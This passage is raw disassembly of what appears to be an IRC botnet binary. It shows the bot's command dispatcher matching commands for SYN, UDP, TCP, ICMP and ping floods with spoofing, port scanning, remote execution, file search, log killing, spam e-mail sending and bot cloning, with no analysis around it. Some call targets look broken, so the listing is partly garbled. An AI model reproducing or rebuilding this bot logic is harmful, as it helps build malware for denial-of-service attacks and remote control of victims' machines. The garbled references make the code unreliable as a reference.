sub_401AC7+44BCj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418E66 add esp, 0Ch test eax, eax jz short loc_405FCB push offset unk_42B35C jmp loc_40851D ; --------------------------------------------------------------------------- loc_405FCB: ; CODE XREF: sub_401AC7+44F8j push offset unk_42B33C jmp loc_40851D ; --------------------------------------------------------------------------- loc_405FD5: ; CODE XREF: sub_401AC7+44B7j push edi push offset aStop ; "stop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_405FED push [ebp+arg_0] push 4 jmp short loc_405F8A ; --------------------------------------------------------------------------- loc_405FED: ; CODE XREF: sub_401AC7+451Dj push edi push offset aPause ; "pause" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_406005 push [ebp+arg_0] push 5 jmp short loc_405F8A ; --------------------------------------------------------------------------- loc_406005: ; CODE XREF: sub_401AC7+4535j push edi push offset aContinue ; "continue" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_406020 push [ebp+arg_0] push 6 jmp loc_405F8A ; --------------------------------------------------------------------------- loc_406020: ; CODE XREF: sub_401AC7+454Dj push edi push offset aDelete ; "delete" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_40603B push [ebp+arg_0] push 1 jmp loc_405F8A ; --------------------------------------------------------------------------- loc_40603B: ; CODE XREF: sub_401AC7+4568j push edi push offset aShare ; "share" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_4060B8 cmp [ebp+arg_18], ebx jz short loc_40608B cmp [ebp+var_8FC], bl jz short loc_406061 push ebx push [ebp+arg_18] push 1 jmp short loc_40606C ; --------------------------------------------------------------------------- loc_406061: ; CODE XREF: sub_401AC7+4590j push [ebp+esi+var_84] push [ebp+arg_18] push ebx loc_40606C: ; CODE XREF: sub_401AC7+4598j call sub_418FA3 push eax lea eax, [ebp+var_2C4] push offset aS_1 ; "%s" push eax call sub_41C006 add esp, 18h jmp loc_406C42 ; --------------------------------------------------------------------------- loc_40608B: ; CODE XREF: sub_401AC7+4588j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_419198 add esp, 10h test eax, eax jz short loc_4060AE push offset unk_42B2FC jmp loc_40851D ; --------------------------------------------------------------------------- loc_4060AE: ; CODE XREF: sub_401AC7+45DBj push offset unk_42B2DC jmp loc_40851D ; --------------------------------------------------------------------------- loc_4060B8: ; CODE XREF: sub_401AC7+4583j push edi push offset aUser ; "user" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_40615A mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_40612D cmp [ebp+var_8FC], bl jz short loc_4060EE push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push eax push 1 jmp short loc_40610E ; --------------------------------------------------------------------------- loc_4060EE: ; CODE XREF: sub_401AC7+4613j push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_40610A push esi push eax push ebx jmp short loc_40610E ; --------------------------------------------------------------------------- loc_40610A: ; CODE XREF: sub_401AC7+463Cj push ebx push eax push 2 loc_40610E: ; CODE XREF: sub_401AC7+4625j ; sub_401AC7+4641j call sub_4192B9 push eax lea eax, [ebp+var_2C4] push offset aS_1 ; "%s" push eax call sub_41C006 add esp, 24h jmp loc_406C42 ; --------------------------------------------------------------------------- loc_40612D: ; CODE XREF: sub_401AC7+460Bj push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4197CD add esp, 10h test eax, eax jz short loc_406150 push offset unk_42B2BC jmp loc_40851D ; --------------------------------------------------------------------------- loc_406150: ; CODE XREF: sub_401AC7+467Dj push offset unk_42B29C jmp loc_40851D ; --------------------------------------------------------------------------- loc_40615A: ; CODE XREF: sub_401AC7+4600j push edi push offset aSend ; "send" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_4061A8 cmp [ebp+arg_18], ebx jz short loc_40619E push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419A81 push eax lea eax, [ebp+var_2C4] push offset aS_1 ; "%s" push eax call sub_41C006 add esp, 1Ch jmp loc_406C42 ; --------------------------------------------------------------------------- loc_40619E: ; CODE XREF: sub_401AC7+46A7j push offset unk_42B270 jmp loc_40851D ; --------------------------------------------------------------------------- loc_4061A8: ; CODE XREF: sub_401AC7+46A2j push offset unk_42B254 jmp loc_40851D ; --------------------------------------------------------------------------- loc_4061B2: ; CODE XREF: sub_401AC7+4460j push [ebp+arg_8] push offset aGethost ; "gethost" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408C0D push [ebp+arg_8] push offset aGh ; "gh" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408C0D loc_4061E0: ; CODE XREF: sub_401AC7+3C93j ; sub_401AC7+3CC9j ... mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401F6C push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408BF0 push [ebp+arg_8] push offset aKl ; "kl" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408BF0 push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408BB1 push [ebp+arg_8] push offset aAa ; "aa" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408BB1 push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408B5B push [ebp+arg_8] push offset dword_42B93C call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408B5B push [ebp+arg_8] push offset aAction ; "action" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408AED push [ebp+arg_8] push offset aA ; "a" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408AED push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408A87 push [ebp+arg_8] push offset aCy ; "cy" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408A87 push [ebp+arg_8] push offset aMode ; "mode" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408A4B push [ebp+arg_8] push offset aM ; "m" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408A4B push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4089E0 push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4089E0 push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40895E push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40895E push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4088F0 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4088F0 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4088CA push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4088CA push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40886A push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40886A push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408772 push [ebp+arg_8] push offset aT3 ; "t3" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408772 push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4086A0 push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4086A0 push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4085CB push [ebp+arg_8] push offset aRp ; "rp" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4085CB push [ebp+arg_8] push offset aDelay ; "delay" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408530 push [ebp+arg_8] push offset aDe ; "de" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408530 push [ebp+arg_8] push offset aHadeth ; "HADETH" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4083A7 push [ebp+arg_8] push offset aHadeth ; "HADETH" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4083A7 push [ebp+arg_8] push offset aExecute ; "execute" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408314 push [ebp+arg_8] push offset aE ; "e" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408314 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408208 push [ebp+arg_8] push offset aFf ; "ff" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408208 push [ebp+arg_8] push offset aRename ; "rename" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408192 push [ebp+arg_8] push offset aMv ; "mv" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408192 push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40809B push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40809B mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401F6C push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407FB3 push [ebp+arg_8] push offset aC ; "c" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407FB3 push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407EBA push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407EBA push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407EBA push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4066F3 push 7Fh lea eax, [ebp+var_3280] pop esi push esi push edi push eax call sub_41BD70 push esi lea eax, [ebp+var_3200] push [ebp+arg_18] push eax call sub_41BD70 push esi lea eax, [ebp+var_3180] push [ebp+arg_0] push eax call sub_41BD70 push esi lea eax, [ebp+var_3100] push [ebp+var_88] push eax call sub_41BD70 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3078], eax push ebx lea eax, [ebp+var_2C4] push 13h push eax mov [ebp+var_307C], edi mov [ebp+var_3284], esi call sub_40B3AD add esp, 3Ch mov [ebp+var_3080], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3284] push ebx push eax push offset dword_415208 push ebx push ebx call near ptr 26A0586h nop mov ecx, [ebp+var_3080] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4066E2 loc_4066CC: ; CODE XREF: sub_401AC7+4C19j cmp [ebp+var_3074], ebx jnz loc_403D2D push 32h nop call near ptr 26A053Bh jmp short loc_4066CC ; --------------------------------------------------------------------------- loc_4066E2: ; CODE XREF: sub_401AC7+4C03j nop call near ptr 26A0EA9h push eax push offset unk_42B0E0 jmp loc_403D1E ; --------------------------------------------------------------------------- loc_4066F3: ; CODE XREF: sub_401AC7+4B59j push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407DD2 push [ebp+arg_8] push offset aSyn ; "syn" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407DD2 push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_406820 push 7Fh lea eax, [ebp+var_36A8] pop esi push esi push edi push eax call sub_41BD70 push esi lea eax, [ebp+var_3628] push [ebp+arg_18] push eax call sub_41BD70 push esi lea eax, [ebp+var_35A8] push [ebp+arg_0] push eax call sub_41BD70 push esi lea eax, [ebp+var_3528] push [ebp+var_88] push eax call sub_41BD70 mov eax, [ebp+var_4] push [ebp+arg_0] mov esi, [ebp+arg_4] mov [ebp+var_34A4], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_34A0], eax lea eax, [ebp+var_2C4] push edi push offset dword_42B098 push eax mov [ebp+var_36AC], esi call sub_41C006 add esp, 44h lea eax, [ebp+var_2C4] push ebx push 10h push eax call sub_40B3AD add esp, 0Ch mov [ebp+var_34A8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36AC] push ebx push eax push offset byte_41416D push ebx push ebx nop call near ptr 26A0586h mov ecx, [ebp+var_34A8] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40680F loc_4067F9: ; CODE XREF: sub_401AC7+4D46j cmp [ebp+var_349C], ebx jnz loc_4071DD push 32h nop call near ptr 26A053Bh jmp short loc_4067F9 ; --------------------------------------------------------------------------- loc_40680F: ; CODE XREF: sub_401AC7+4D30j nop call near ptr 26A0EA9h push eax push offset dword_42B05C jmp loc_4071CE ; --------------------------------------------------------------------------- loc_406820: ; CODE XREF: sub_401AC7+4C6Bj push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407CEA push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407CEA push [ebp+arg_8] push offset aNazel ; "NAZEL" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407BAF push [ebp+arg_8] push offset aNazel ; "NAZEL" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407BAF push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407AB5 push [ebp+arg_8] push offset aRd ; "rd" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_407AB5 push [ebp+arg_8] push offset aScan ; "scan" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4079C2 push [ebp+arg_8] push offset aSc ; "sc" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4079C2 push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4078ED push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4078ED push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4077DB push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4077DB mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_10], eax jz loc_401F6C push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4076D5 push [ebp+arg_8] push offset dword_42AFF0 call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4076D5 push [ebp+arg_8] push offset off_42AFEC call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4071FD push [ebp+arg_8] push offset aAsc ; "asc" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4071FD push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4070B7 push [ebp+arg_8] push offset aUdp ; "udp" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4070B7 push [ebp+arg_8] push offset aU ; "u" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4070B7 push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_406FA9 push [ebp+arg_8] push offset aNs ; "ns" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_406FA9 push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_406E82 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_406E82 push [ebp+arg_8] push offset aP ; "p" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_406E82 push [ebp+arg_8] push offset aVnchost ; "vnchost" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_406A9E push edi call sub_41B4CF push edi lea eax, [ebp+var_2C4] push offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s" push eax call sub_41C006 add esp, 10h cmp [ebp+var_8], ebx jnz loc_401F6C push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax jmp loc_40408E ; --------------------------------------------------------------------------- loc_406A9E: ; CODE XREF: sub_401AC7+4FA1j push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_406CD2 push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_406CD2 push [ebp+arg_8] push offset aEmail ; "email" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_406C7A lea eax, [ebp+var_46F0] push edi push eax call sub_41C620 push [ebp+arg_18] call sub_41BEF9 push [ebp+arg_0] mov [ebp+arg_18], eax lea eax, [ebp+var_438C] push eax call sub_41C620 push [ebp+arg_10] lea eax, [ebp+var_458C] push eax call sub_41C620 push offset asc_42CDCC ; " " push offset dword_42B938 push [ebp+esi+var_7C] call sub_4183EC push eax lea eax, [ebp+var_408C] push eax call sub_41C620 add esp, 30h lea eax, [ebp+var_528C] push eax push 101h call dword_4C9274 lea eax, [ebp+var_46F0] push eax call dword_4C9388 push 6 push 1 push 2 mov edi, eax call dword_4C9384 push [ebp+arg_18] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4C9304 mov [ebp+var_31A], ax lea eax, [ebp+var_408C] push eax lea eax, [ebp+var_438C] push eax lea eax, [ebp+var_408C] push eax lea eax, [ebp+var_458C] push eax lea eax, [ebp+var_438C] push eax lea eax, [ebp+var_568C] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41C006 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4C92AC mov edi, 100h push ebx lea eax, [ebp+var_448C] push edi push eax push esi call dword_4C931C lea eax, [ebp+var_448C] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_568C] push eax push esi call dword_4C9354 push ebx lea eax, [ebp+var_448C] push edi push eax push esi call dword_4C931C push esi call dword_4C939C call dword_4C925C lea eax, [ebp+var_458C] push eax push offset unk_42AF00 loc_406C33: ; CODE XREF: sub_401AC7+2E4Fj ; sub_401AC7+65CFj ... lea eax, [ebp+var_2C4] push eax call sub_41C006 loc_406C3F: ; CODE XREF: sub_401AC7+241Bj add esp, 0Ch loc_406C42: ; CODE XREF: sub_401AC7+4483j ; sub_401AC7+44DDj ... cmp [ebp+var_8], ebx jnz short loc_406C63 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_406C63: ; CODE XREF: sub_401AC7+2955j ; sub_401AC7+29A8j ... mov esi, [ebp+arg_24] loc_406C66: ; CODE XREF: sub_401AC7+6848j ; sub_401AC7+7750j ... lea eax, [ebp+var_2C4] push eax call sub_415CEE pop ecx mov eax, esi jmp loc_401F6F ; --------------------------------------------------------------------------- loc_406C7A: ; CODE XREF: sub_401AC7+5016j push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_406CA4 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_40724F loc_406CA4: ; CODE XREF: sub_401AC7+51C4j push [ebp+esi+var_7C] push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] call sub_41BEF9 pop ecx push eax push edi push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_410A9D jmp loc_409640 ; --------------------------------------------------------------------------- loc_406CD2: ; CODE XREF: sub_401AC7+4FE8j ; sub_401AC7+4FFFj mov esi, 80h push edi lea eax, [ebp+var_1358] push esi push eax call sub_41C100 lea eax, [ebp+var_1358] push eax push offset aSyn ; "syn" call sub_41C7E0 add esp, 14h test eax, eax jz short loc_406D35 lea eax, [ebp+var_1358] push eax push offset aAck ; "ack" call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_406D35 lea eax, [ebp+var_1358] push eax push offset aRandom_0 ; "random" call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_406D35 push offset unk_42AEB8 jmp loc_406E6F ; --------------------------------------------------------------------------- loc_406D35: ; CODE XREF: sub_401AC7+5234j ; sub_401AC7+524Bj ... push [ebp+arg_10] call sub_41BEF9 cmp eax, ebx pop ecx mov [ebp+var_1250], eax jle loc_406E6A push edi lea eax, [ebp+var_1358] push esi push eax call sub_41C100 push [ebp+arg_18] lea eax, [ebp+var_13D8] push esi push eax call sub_41C100 push [ebp+arg_0] call sub_41BEF9 mov [ebp+var_1254], eax xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_124C], eax mov eax, [ebp+arg_4] mov [ebp+var_13DC], eax lea eax, [ebp+var_12D8] push esi push eax call sub_41C100 mov eax, [ebp+var_4] add esp, 28h cmp [ebp+var_124C], ebx mov [ebp+var_1248], eax mov eax, [ebp+var_8] mov [ebp+var_1244], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406DCC mov eax, offset aNormal ; "Normal" loc_406DCC: ; CODE XREF: sub_401AC7+52FEj push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push eax push offset unk_42AE74 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C100 push ebx lea eax, [ebp+var_2C4] push 14h push eax call sub_40B3AD add esp, 2Ch mov [ebp+var_1258], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13DC] push ebx push eax push offset dword_414974 push ebx push ebx nop call near ptr 26A0586h mov ecx, [ebp+var_1258] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_406E4A loc_406E34: ; CODE XREF: sub_401AC7+5381j cmp [ebp+var_1240], ebx jnz loc_4081DE push 32h call near ptr 26A053Bh nop jmp short loc_406E34 ; --------------------------------------------------------------------------- loc_406E4A: ; CODE XREF: sub_401AC7+536Bj nop call near ptr 26A0EA9h push eax push offset unk_42AE3C loc_406E56: ; CODE XREF: sub_401AC7+20E5j ; sub_401AC7+2EA4j ... lea eax, [ebp+var_2C4] push eax call sub_41C006 loc_406E62: ; CODE XREF: sub_401AC7+54DDj add esp, 0Ch jmp loc_4081DE ; --------------------------------------------------------------------------- loc_406E6A: ; CODE XREF: sub_401AC7+527Fj push offset unk_42AE04 loc_406E6F: ; CODE XREF: sub_401AC7+1FAEj ; sub_401AC7+1FC4j ... lea eax, [ebp+var_2C4] push eax call sub_41C006 pop ecx pop ecx jmp loc_4081DE ; --------------------------------------------------------------------------- loc_406E82: ; CODE XREF: sub_401AC7+4F5Cj ; sub_401AC7+4F73j ... cmp dword_4C93F4, ebx jnz loc_406F8E mov eax, [ebp+var_8] push 7Fh mov [ebp+var_FF8], eax mov eax, [ebp+var_4] mov [ebp+var_FFC], eax lea eax, [ebp+var_1090] push edi push eax call sub_41BD70 push [ebp+arg_18] call sub_41BEF9 push [ebp+arg_0] mov [ebp+var_1010], eax call sub_41BEF9 push [ebp+arg_10] mov [ebp+var_100C], eax call sub_41BEF9 push 7Fh mov [ebp+var_1008], eax push [ebp+var_88] lea eax, [ebp+var_1110] push eax call sub_41BD70 push [ebp+var_1008] mov eax, [ebp+arg_4] mov [ebp+var_1114], eax lea eax, [ebp+var_1090] push [ebp+var_100C] push eax lea eax, [ebp+var_2C4] push [ebp+var_1010] push offset unk_42ADBC push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 16h push eax call sub_40B3AD add esp, 48h mov [ebp+var_1000], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1114] push ebx push eax push offset byte_413DCB push ebx push ebx nop call near ptr 26A0586h mov ecx, [ebp+var_1000] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_406F7D loc_406F67: ; CODE XREF: sub_401AC7+54B4j cmp [ebp+var_FF4], ebx jnz loc_4081DE push 32h nop call near ptr 26A053Bh jmp short loc_406F67 ; --------------------------------------------------------------------------- loc_406F7D: ; CODE XREF: sub_401AC7+549Ej call near ptr 26A0EA9h nop push eax push offset unk_42AD84 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_406F8E: ; CODE XREF: sub_401AC7+53C1j push 1FFh lea eax, [ebp+var_2C4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41BD70 jmp loc_406E62 ; --------------------------------------------------------------------------- loc_406FA9: ; CODE XREF: sub_401AC7+4F2Ej ; sub_401AC7+4F45j push [ebp+arg_18] lea eax, [ebp+var_2C4] push edi push [ebp+arg_0] push offset unk_42AD30 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 push [ebp+arg_0] call sub_41B960 push [ebp+arg_18] mov edi, eax call sub_41B960 push [ebp+arg_20] add edi, eax call sub_41B960 push [ebp+arg_8] add edi, eax call sub_41B960 add eax, [ebp+var_C] push [ebp+arg_10] lea eax, [eax+edi+7] push eax call sub_41C080 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41BEF9 mov edi, [ebp+arg_20] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_1C], ebx jle short loc_4070A3 loc_40702C: ; CODE XREF: sub_401AC7+5589j push [ebp+arg_C] push [ebp+arg_18] push edi call sub_418AA2 add esp, 0Ch cmp eax, 1 mov [ebp+arg_20], eax jz short loc_407054 cmp eax, ebx jnz short loc_407073 inc [ebp+arg_1C] mov eax, [ebp+arg_1C] cmp eax, [ebp+arg_14] jl short loc_40702C jmp short loc_4070AC ; --------------------------------------------------------------------------- loc_407054: ; CODE XREF: sub_401AC7+557Aj push ebx push [ebp+var_4] push offset unk_42ACF8 loc_40705D: ; CODE XREF: sub_401AC7+55EEj push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h jmp loc_40724F ; --------------------------------------------------------------------------- loc_407073: ; CODE XREF: sub_401AC7+557Ej push [ebp+arg_20] lea eax, [ebp+var_2C4] push offset unk_42ACC4 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 20h loc_4070A3: ; CODE XREF: sub_401AC7+5563j cmp [ebp+arg_20], ebx jnz loc_40724F loc_4070AC: ; CODE XREF: sub_401AC7+558Bj push ebx push [ebp+var_4] push offset unk_42AC90 jmp short loc_40705D ; --------------------------------------------------------------------------- loc_4070B7: ; CODE XREF: sub_401AC7+4EE9j ; sub_401AC7+4F00j ... mov eax, [ebp+var_8] push 7Fh mov [ebp+var_C68], eax mov eax, [ebp+var_4] mov [ebp+var_C6C], eax lea eax, [ebp+var_D00] push edi push eax call sub_41BD70 push [ebp+arg_18] call sub_41BEF9 push [ebp+arg_0] mov [ebp+var_C80], eax call sub_41BEF9 push [ebp+arg_10] mov [ebp+var_C7C], eax call sub_41BEF9 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C78], eax jz short loc_40711C push esi call sub_41BEF9 pop ecx mov [ebp+var_C74], eax jmp short loc_407122 ; --------------------------------------------------------------------------- loc_40711C: ; CODE XREF: sub_401AC7+5644j mov [ebp+var_C74], ebx loc_407122: ; CODE XREF: sub_401AC7+5653j push 7Fh lea eax, [ebp+var_D80] push [ebp+var_88] push eax call sub_41BD70 push [ebp+var_C78] mov esi, [ebp+arg_4] lea eax, [ebp+var_D00] mov [ebp+var_D84], esi push [ebp+var_C7C] push eax lea eax, [ebp+var_2C4] push [ebp+var_C80] push offset unk_42AC48 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 17h push eax call sub_40B3AD add esp, 30h mov [ebp+var_C70], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D84] push ebx push eax push offset byte_413F57 push ebx push ebx call near ptr 26A0586h nop mov ecx, [ebp+var_C70] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4071C2 loc_4071B0: ; CODE XREF: sub_401AC7+56F9j cmp [ebp+var_C64], ebx jnz short loc_4071DD push 32h nop call near ptr 26A053Bh jmp short loc_4071B0 ; --------------------------------------------------------------------------- loc_4071C2: ; CODE XREF: sub_401AC7+56E7j call near ptr 26A0EA9h nop push eax push offset unk_42AC10 loc_4071CE: ; CODE XREF: sub_401AC7+4D54j ; sub_401AC7+621Ej ... lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 0Ch loc_4071DD: ; CODE XREF: sub_401AC7+4D38j ; sub_401AC7+56EFj ... cmp [ebp+var_8], ebx jnz loc_40830C push ebx push [ebp+var_4] loc_4071EA: ; CODE XREF: sub_401AC7+2271j lea eax, [ebp+var_2C4] push eax push [ebp+var_88] push esi jmp loc_4081FB ; 